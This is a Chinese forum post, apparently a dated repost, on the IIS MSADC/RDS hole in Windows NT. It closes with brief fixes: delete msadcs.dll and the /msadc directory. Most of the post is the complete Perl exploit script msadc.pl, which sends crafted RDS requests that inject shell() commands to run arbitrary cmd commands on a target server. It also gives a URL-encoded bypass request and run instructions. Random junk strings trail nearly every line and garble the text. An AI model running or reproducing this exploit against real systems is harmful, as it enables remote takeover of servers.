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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Hfh!l2P  
O5zE {#  
涉及程序: H(b)aw^(%  
Microsoft NT server jXixVNw  
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描述: 5Q W}nRCZ  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ZWS2q4/S  
802H$P^ps  
详细: _g~2R#2Q  
如果你没有时间读详细内容的话,就删除: kO1}?dWpa  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Us]=Y}(  
有关的安全问题就没有了。 M diw Ri  
b?8)7.{F{  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1fH<VgF`  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 /N6}*0Ru  
关于利用ODBC远程漏洞的描述,请参看: J? .F\`N)  
Zyu/|O g  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wPX*%0]  
8#w)X/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (,B#t7ka  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2s\BY%XY  
O(c@PJem  
这里不再论述。 $5NKFJc  
py @( <  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: l(!/Q|Q|  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset :Wc_Utt  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Qs%B'9")  
B2Z_]q$n*  
rOcg+5  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y]Vq\]m\  
BRzfic :e  
#!perl `XJm=/f  
# "j^MB)YD  
# MSADC/RDS 'usage' (aka exploit) script ]A^4}CK^<  
# "hQgLG  
# by rain.forest.puppy #$E)b:xj  
# T]9m:z X9s  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ((bTwx  
# beta test and find errors! O$D?A2eI  
;SY\U7B\  
use Socket; use Getopt::Std; aJzLrX  
getopts("e:vd:h:XR", \%args); y t5H oy  
-DjJ",h( $  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; mV)+qXC  
pr&=n;_ n  
if (!defined $args{h} && !defined $args{R}) { wNYg$d0M  
print qq~ __Nv0Ru  
Usage: msadc.pl -h <host> { -d <delay> -X -v } S\*`lJzPM  
-h <host> = host you want to scan (ip or domain) E=$p^s  
-d <seconds> = delay between calls, default 1 second 2YlH}fnH  
-X = dump Index Server path table, if available x`%JI=q  
-v = verbose M'L;N!1A  
-e = external dictionary file for step 5 fQdK]rLj  
[9o4hw  
Or a -R will resume a command session G^;>8r  
KOh A)  
~; exit;} a`!@+6yC  
^5; `-Ky  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Y`BRh9Sa  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (V?:]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} z~{&}Em ~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =Vw 5q},3  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 69G`2_eKCp  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } oD.r `]k  
`$TRleSi  
if (!defined $args{R}){ $ret = &has_msadc; CU)|-*uiK  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3\:y8|  
C\*4q8(  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,xfO;yd  
. "cmd /c "; B*3Y !!  
$in=<STDIN>; chomp $in; gckI.[!b  
$command="cmd /c " . $in ; IzLQhDJ1  
y[?-@7i  
if (defined $args{R}) {&load; exit;} V[nQQxWp=  
i+{yMol1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Qk1xUE  
&try_btcustmr; hA1-){aw3q  
&ldBv_  
print "\nStep 2: Trying to make our own DSN..."; 8|%^3O 0X  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ,|kDsR !  
6 #@ f'~s  
print "\nStep 3: Trying known DSNs..."; om h{0jA0  
&known_dsn; 7U|mu~$.!  
0#cy=*E  
print "\nStep 4: Trying known .mdbs..."; ,yd=e}lQx  
&known_mdb; / JkC+7H4  
qIMA6u/  
if (defined $args{e}){ %9oYw9 H!  
print "\nStep 5: Trying dictionary of DSN names..."; O1'm@ q)  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } RQB 4s^t  
36.N>G,  
print "Sorry Charley...maybe next time?\n"; "vZ!vt#'Y  
exit; Qnd5X`jF#  
TuDE@ gq(  
############################################################################## D BE4&  
Yz$3;  
sub sendraw { # ripped and modded from whisker $%R$ G`.KM  
sleep($delay); # it's a DoS on the server! At least on mine... &<RpWAk{  
my ($pstr)=@_; 67SV~L#%O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 26vp1  
die("Socket problems\n"); Z|" p*5O,  
if(connect(S,pack "SnA4x8",2,80,$target)){ j _L@U2i  
select(S); $|=1; ,#?uJTLH  
print $pstr; my @in=<S>; T"7~AbgNU  
select(STDOUT); close(S); y: m_tv0~0  
return @in; e [_m< e  
} else { die("Can't connect...\n"); }} ?L&|Uw+  
F# T 07<  
############################################################################## 9d[5{" 2j  
D,qu-k[jMI  
sub make_header { # make the HTTP request #n0Y6Pr  
my $msadc=<<EOT RPd}Wf  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 !`41q=r  
User-Agent: ACTIVEDATA u VyGk~  
Host: $ip y\dEk:\)  
Content-Length: $clen %\|'%/"`2(  
Connection: Keep-Alive @c9^q> Uv  
R218(8S  
ADCClientVersion:01.06 k@ZLg9  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xj5;: g#!  
B33$pUk  
--!ADM!ROX!YOUR!WORLD! ABE@n%|`  
Content-Type: application/x-varg ,to+oSZE  
Content-Length: $reqlen Tm_B^ W}  
c:Wze*vI ;  
EOT om?-WJI  
; $msadc=~s/\n/\r\n/g; g<{xC_J  
return $msadc;} )q7UxzE+  
$`R6=\|  
##############################################################################  <1%f@}+8  
PxH72hBS  
sub make_req { # make the RDS request D?XM,l+  
my ($switch, $p1, $p2)=@_; tyaA\F57  
my $req=""; my $t1, $t2, $query, $dsn; A+hT3;lp  
(jU6GJRP  
if ($switch==1){ # this is the btcustmr.mdb query H"ZZ.^"5FV  
$query="Select * from Customers where City=" . make_shell(); ;22oY>w  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7qTE('zt  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {ZY+L;eg1  
P) 3mX.(}  
elsif ($switch==2){ # this is general make table query {43>m)8+  
$query="create table AZZ (B int, C varchar(10))"; Y%`xDI  
$dsn="$p1";} b[V^86X^  
C4TE-OM8  
elsif ($switch==3){ # this is general exploit table query s(X;Eha  
$query="select * from AZZ where C=" . make_shell(); P(F+f `T  
$dsn="$p1";} p+)YTzzc  
3U_2!zF3_  
elsif ($switch==4){ # attempt to hork file info from index server V<k8N^  
$query="select path from scope()"; C8z{XSo  
$dsn="Provider=MSIDXS;";} o,|[GhtHqs  
[1.+H yJ}  
elsif ($switch==5){ # bad query >4t+:Ut:  
$query="select"; UTXSeNP  
$dsn="$p1";} OS8q( 2z?s  
(?nCy HC%g  
$t1= make_unicode($query); 0RoU}r@z4  
$t2= make_unicode($dsn); ^Q+g({  
$req = "\x02\x00\x03\x00"; {e|[%reSkg  
$req.= "\x08\x00" . pack ("S1", length($t1)); Z+@2"%W  
$req.= "\x00\x00" . $t1 ; Y nLErJ  
$req.= "\x08\x00" . pack ("S1", length($t2)); \hCH>*x<  
$req.= "\x00\x00" . $t2 ; 3}e%[AKh  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^o7;c[E`  
return $req;} &x3VCsC\|  
w^t/9Nasi  
############################################################################## :9k Ty:  
zc[Si bT  
sub make_shell { # this makes the shell() statement LD!Q8"  
return "'|shell(\"$command\")|'";} h: 9Zt0,  
#8)*1?  
############################################################################## ;Iq/l%vX  
`r?7oxN  
sub make_unicode { # quick little function to convert to unicode K4kMM*D  
my ($in)=@_; my $out; I_RsYw  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } qgfi\/$6  
return $out;} o}ZdTf=  
YpqrZWvh  
############################################################################## i>(e}<i  
wiiCd  
sub rdo_success { # checks for RDO return success (this is kludge) eH{[C*  
my (@in) = @_; my $base=content_start(@in); 8YbE`32  
if($in[$base]=~/multipart\/mixed/){ yj\Nkh  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c"[cNZo  
return 0;} %$b:X5$Z  
z*-2.}&U<  
############################################################################## A{A\RSZ0  
<_7*67{  
sub make_dsn { # this makes a DSN for us >3Eo@J,?d  
my @drives=("c","d","e","f"); I"GB <oB  
print "\nMaking DSN: "; |j7,Mu+  
foreach $drive (@drives) { /FRm2m83  
print "$drive: "; OLE[UXD-E  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . k?,1x~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" `^)jLuyu  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /{&tY: ;m  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _ jsK}- \  
return 0 if $2 eq "404"; # not found/doesn't exist -PfX0y9n  
if($2 eq "200") { mGK|ihYu  
foreach $line (@results) { 6ZP"p<xX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Q637N|01  
} return 0;} `G}TG(  
`7r@a  
############################################################################## maNl^i  
3eF -8Z(f  
sub verify_exists { r[*Vqcz  
my ($page)=@_; <_-hRbS  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~Yy>zUH^X  
return $results[0];} Rd#WMo2Xd  
ojan Bg   
############################################################################## rogT~G}q  
Rx}$0c0  
sub try_btcustmr { '!eKTC>  
my @drives=("c","d","e","f"); ~GZY5HF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ):[7E(F=  
rp ;b" q  
foreach $dir (@dirs) { }F#okU  
print "$dir -> "; # fun status so you can see progress ,Pdf,2  
foreach $drive (@drives) { IhVO@KJI  
print "$drive: "; # ditto vwxXgk  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ?k(7 LX0j  
$reqlenlen=length( "$reqlen" ); ;;#qmGoE  
$clen= 206 + $reqlenlen + $reqlen; r2,.abo  
N(Fp0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Tu).K.p:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 'ZDp5pCC;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oY933i@l)P  
v]B3m  
############################################################################## 75XJL;W #  
kH G"XTL  
sub odbc_error { d^{RQ   
my (@in)=@_; my $base; |Uc_G13Y{D  
my $base = content_start(@in); xe^Gs]fm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this e4>_v('  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .K1FKC$C  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,g2ij  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xLK<W"%0  
return $in[$base+4].$in[$base+5].$in[$base+6];} NTYg[VTr  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; %H]ptH5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ur:3W6ZKl  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =A83W/4  
pHLB= r  
############################################################################## BRgXr  
qVH1}9_  
sub verbose { < HVl(O  
my ($in)=@_; ]~'5\58sP  
return if !$verbose; (>nGQS]H  
print STDOUT "\n$in\n";} w9< R#y[A  
3=aQG'B  
############################################################################## Mygf T[_  
jIC_[  
sub save { %C| n9*  
my ($p1, $p2, $p3, $p4)=@_; '"SEw w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; l`#4KCL(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; pKpUXfQu  
close OUT;} X-K=!pET  
{zQ8)$CQ  
############################################################################## ChGYTn`X   
au: fw  
sub load { /_I]H  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; UQ?XqgUM  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5C o  
@p=<IN>; close(IN); F8jd'OR  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); -p]1=@A<}  
$target= inet_aton($ip) || die("inet_aton problems"); $w2u3 -  
print "Resuming to $ip ..."; |}BL F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \Q0[?k  
if($p[1]==1) { 2mVD_ s[`  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Enum/O5  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; %4et&zRC  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J^SdH&%Z  
if (rdo_success(@results)){print "Success!\n";} a_f~N1kq  
else { print "failed\n"; verbose(odbc_error(@results));}} cW@Zd5&0S  
elsif ($p[1]==3){ +ElfZ4  
if(run_query("$p[3]")){ /Z'L^ L%R  
print "Success!\n";} else { print "failed\n"; }} K|zZS%?$  
elsif ($p[1]==4){ 6jE |  
if(run_query($drvst . "$p[3]")){ &Sw%<N*r  
print "Success!\n"; } else { print "failed\n"; }} u0|8Tgf  
exit;} }B\a<0L/  
)dbB =OZ  
############################################################################## a{^m-fSaR"  
gQWa24  
sub create_table { hYPl&^  
my ($in)=@_; I*{4rDt  
$reqlen=length( make_req(2,$in,"") ) - 28; CZud& <  
$reqlenlen=length( "$reqlen" ); 7}f}$1   
$clen= 206 + $reqlenlen + $reqlen; 2Rw&C6("w  
my @results=sendraw(make_header() . make_req(2,$in,"")); sFT.Oxg<  
return 1 if rdo_success(@results); \<JSkr[h!"  
my $temp= odbc_error(@results); verbose($temp); FGigbtj`  
return 1 if $temp=~/Table 'AZZ' already exists/; 8i>ZY  
return 0;} R!\_rc1/  
v1o#1;  
############################################################################## 3er nTD*`  
$HHs^tW  
sub known_dsn { +b0eE)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~.{/0T  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", DS+}UO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :ubV};  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4>F'oqFF  
0m%|U'm|j  
foreach $dSn (@dsns) { ub^h&= \S  
print "."; \KMToN&2  
next if (!is_access("DSN=$dSn")); tItX y  
if(create_table("DSN=$dSn")){ [I '0,y  
print "$dSn successful\n"; }zkHJxZgE  
if(run_query("DSN=$dSn")){ _<k\FU r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dgR g>)V  
print "Something's borked. Use verbose next time\n";}}} print "\n";} IHam4$~-  
'&x#rjo#  
############################################################################## mHV%I@`Y6  
N60rgSzI  
sub is_access { @e(o129  
my ($in)=@_; }Lc-7[/  
$reqlen=length( make_req(5,$in,"") ) - 28; nzd2zY>V  
$reqlenlen=length( "$reqlen" ); Wk~W Ozr}^  
$clen= 206 + $reqlenlen + $reqlen; fd +hA  
my @results=sendraw(make_header() . make_req(5,$in,"")); UK595n;P  
my $temp= odbc_error(@results); _ "?.!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6G1@smP  
return 0;} v\KA'PmiP  
d"}k! 0m  
############################################################################## -G}[AkmS  
cii_U=   
sub run_query { -~s!73pDY  
my ($in)=@_; Rp.Sj{<2  
$reqlen=length( make_req(3,$in,"") ) - 28; 6h|q'.Y  
$reqlenlen=length( "$reqlen" ); z.7cy@N6  
$clen= 206 + $reqlenlen + $reqlen; f[<m<I  
my @results=sendraw(make_header() . make_req(3,$in,"")); EN$2,qf  
return 1 if rdo_success(@results); K-bD<X  
my $temp= odbc_error(@results); verbose($temp); *W.C7=  
return 0;} ?k]2*}bz  
>zw.GwN|  
############################################################################## 5b*M*e&=C  
K{&mI/ ;  
sub known_mdb { wW7eT~w  
my @drives=("c","d","e","f","g"); f!\lg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `|6'9  
my $dir, $drive, $mdb; qaY1xPWz"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ve MH  
/qMG=Z  
# this is sparse, because I don't know of many AqWUwK9T  
my @sysmdbs=( "\\catroot\\icatalog.mdb", v*'^r)Q[p  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Q\^O64geD  
"\\system32\\certmdb.mdb", S|SV$_ (  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% xQ}pu2@d  
`z{%(_+[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", )U~=Pf"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", pf1BN@ t  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", U &C!}  
"\\cfusion\\cfapps\\security\\realm_.mdb", o|>'h$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Sh/T,  
"\\cfusion\\database\\cfexamples.mdb", cc,^6[OH@  
"\\cfusion\\database\\cfsnippets.mdb", f[@77m*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XG}C+;4Aw  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", &M46&^Jho  
"\\cfusion\\brighttiger\\database\\cleam.mdb", kStnb?nk  
"\\cfusion\\database\\smpolicy.mdb", 5Sm}n H  
"\\cfusion\\database\cypress.mdb",  a][f  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .:@Ykdm4I  
"\\website\\cgi-win\\dbsample.mdb", fKeT,U`W  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  'C`U"I  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _7H7 dV  
); #these are just !k 6K?xt  
foreach $drive (@drives) { 7op`s5i  
foreach $dir (@dirs){ &+cEV6vb+  
foreach $mdb (@sysmdbs) { >pU$wq|i  
print "."; lpQSup  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =y [M\m  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .n#@$ nGZ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Mmxlp .l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5*+!+V^?X  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (zgW%{V@  
C>-aIz!y  
foreach $drive (@drives) { BcL{se9<  
foreach $mdb (@mdbs) { <oR a3Gi(%  
print "."; q;R],7Re  
if(create_table($drv . $drive . $dir . $mdb)){ ;|p BFKx  
print "\n" . $drive . $dir . $mdb . " successful\n"; ,=UK}*e"  
if(run_query($drv . $drive . $dir . $mdb)){ E0Y-7&Fv  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RTE8Uq36  
} else { print "Something's borked. Use verbose next time\n"; }}}} RX>xB  
} (pY 7J  
@Fluc,Il  
##############################################################################  `7 vHt`  
B|R@5mjm  
sub hork_idx { Sx708`/Ep  
print "\nAttempting to dump Index Server tables...\n"; ]Y%Vio  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9`1O"R/  
$reqlen=length( make_req(4,"","") ) - 28; ey2S#%DF]  
$reqlenlen=length( "$reqlen" ); $CY~5A`l9  
$clen= 206 + $reqlenlen + $reqlen; @aAW*D~-J  
my @results=sendraw2(make_header() . make_req(4,"","")); |%J{RA  
if (rdo_success(@results)){ -7*ET3NSI/  
my $max=@results; my $c; my %d; 4[;X{ !  
for($c=19; $c<$max; $c++){ F<L EQ7T  
$results[$c]=~s/\x00//g; :e_V7t)o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; d@ i}-;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }j^i}^Du,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; N9jH\0nG  
$d{"$1$2"}="";} Hw7;;HK 7  
foreach $c (keys %d){ print "$c\n"; } B P2=2)Q  
} else {print "Index server doesn't seem to be installed.\n"; }} Ka[t75~;  
xC{qV,   
############################################################################## uehDIl0\[b  
I/&%]"[^u  
sub dsn_dict { **$LR<L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Gcdd3W`O  
while(<IN>){ "/3 db[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; v K9E   
next if (!is_access("DSN=$dSn")); *G{^|z  
if(create_table("DSN=$dSn")){ ePr&!Tz#  
print "$dSn successful\n"; GO__$%~  
if(run_query("DSN=$dSn")){ 55tKTpV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v*;-yG&  
print "Something's borked. Use verbose next time\n";}}} ex::m&  
print "\n"; close(IN);} ]b\yg2  
q?4p)@#   
############################################################################## -n=^U  
Ont%eC\  
sub sendraw2 { # ripped and modded from whisker zb k q   
sleep($delay); # it's a DoS on the server! At least on mine... ^5H >pat  
my ($pstr)=@_; <g1hxfKx5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || i>D.!x  
die("Socket problems\n"); F$ #U5}Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1`(tf6op  
print "Connected. Getting data"; vd [}Gd  
open(OUT,">raw.out"); my @in; ]~aF2LJ_q  
select(S); $|=1; print $pstr; 8vMG5#U[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} <J`0mVOX  
close(OUT); select(STDOUT); close(S); return @in; {zn!vJX  
} else { die("Can't connect...\n"); }} TM_/ `a2}  
>+JqA7K  
############################################################################## ?\t#1"d  
%/|9@er  
sub content_start { # this will take in the server headers W+PJZn  
my (@in)=@_; my $c; } ud0&Oe{  
for ($c=1;$c<500;$c++) { kMb}1J0i"  
if($in[$c] =~/^\x0d\x0a/){ h-G)o[MA  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _CmOd-y  
else { return $c+1; }}} YE|SKx@  
return -1;} # it should never get here actually Tw""}|] g  
G&i!Hs  
############################################################################## (#Wu# F1;  
1DE1.1  
sub funky { ;A]@4*q  
my (@in)=@_; my $error=odbc_error(@in); PmKeF}  
if($error=~/ADO could not find the specified provider/){ %>~sJ0  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 4kBaB  
exit;} 2 lj'"nm  
if($error=~/A Handler is required/){ MRb-H1+Xf  
print "\nServer has custom handler filters (they most likely are patched)\n"; +z9Q-d%O  
exit;} Q4+gAS9  
if($error=~/specified Handler has denied Access/){ Y~L2  
print "\nServer has custom handler filters (they most likely are patched)\n"; }s(N6a&(  
exit;}} ~\Hc,5G  
aMtsmL?=  
############################################################################## JT3-AAi[Z  
^>i63Yc  
sub has_msadc { VFRi1\G  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "JlpU-8[0@  
my $base=content_start(@results); sE:M@`2L  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); `%+Wz0(K  
return 0;} QR%mj*@Wle  
T)H{  
######################## $, ,op(  
y+"X~7EX  
)iYxt:(,  
解决方案: /H8g(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ]j`c]2EuP  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 D;;!ODX$?  
-'t)=YJ  
拿出来充数 哈哈
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